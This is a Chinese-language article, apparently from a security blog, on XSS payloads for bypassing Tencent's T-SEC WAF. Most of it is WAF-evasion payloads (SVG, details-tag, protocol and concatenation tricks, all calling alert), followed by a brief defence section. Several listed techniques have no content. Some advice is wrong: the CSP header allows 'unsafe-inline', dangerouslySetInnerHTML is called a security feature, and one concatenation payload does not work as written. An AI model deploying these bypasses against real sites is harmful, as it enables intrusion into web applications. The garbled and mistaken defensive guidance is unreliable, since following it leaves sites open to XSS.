缘起XSS之与某WAF的恩爱情仇
字数 809 2025-08-09 19:58:05
绕过腾讯T-SEC WAF的XSS攻击技术分析
1. WAF检测机制基础
1.1 常见WAF检测方式
- 关键字检测:匹配
<script>,onerror,javascript:等敏感字符串 - 语法分析:检测HTML/JS语法结构是否异常
- 行为分析:监控DOM操作、事件触发等可疑行为
- 编码识别:解码常见编码方式(HTML实体、URL编码等)
1.2 腾讯T-SEC WAF特点
- 多层检测机制组合
- 动态解析能力较强
- 对常见payload有深度特征识别
2. 基础绕过技术
2.1 编码混淆
- HTML实体编码:
<img src=x onerror=alert(1)> - Unicode编码:
\u0061\u006c\u0065\u0072\u0074(1) - 混合编码:
2.2 标签属性技巧
- 非常规事件属性:
- 属性分割:
- 空字节注入:
3. 高级绕过技术
3.1 动态构造技术
<script>
String.prototype.XSS = function(){ eval(this) };
'alert(1)'.XSS();
</script>
3.2 利用SVG标签
<svg/onload=alert(1)>
<svg><script>alert(1)</script>
3.3 利用HTML5特性
<details open ontoggle=alert(1)>
3.4 协议混淆
<iframe src=javascript:alert(1)>
<a href=javaSCRIPT:alert(1)>click</a>
4. 腾讯T-SEC WAF特定绕过
4.1 利用注释分割
<script>alert/*绕过*/('XSS')</script>
4.2 非常规字符插入
4.3 变量拼接
<script>
a='al';b='ert(1)';window[a+b]();
</script>
4.4 利用ES6特性
<script>
(alert)(1)
alert?.('XSS')
</script>
5. 防御措施
5.1 输出编码
- HTML实体编码
- JavaScript编码
- URL编码
5.2 内容安全策略(CSP)
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
5.3 输入验证
- 白名单过滤
- 数据类型验证
- 长度限制
5.4 其他措施
- HttpOnly Cookie
- X-XSS-Protection头
- 框架安全特性(如React的dangerouslySetInnerHTML)
6. 测试工具与方法
6.1 手工测试流程
- 测试基本XSS payload
- 逐步添加混淆技术
- 观察WAF拦截点
- 针对性绕过
6.2 自动化工具
- XSStrike
- XSS Hunter
- Burp Suite Scanner
7. 总结
腾讯T-SEC WAF虽然具备较强的检测能力,但通过组合使用编码混淆、语法变异、动态构造等技术仍可实现绕过。防御XSS需要采取多层次的安全措施,不能完全依赖WAF。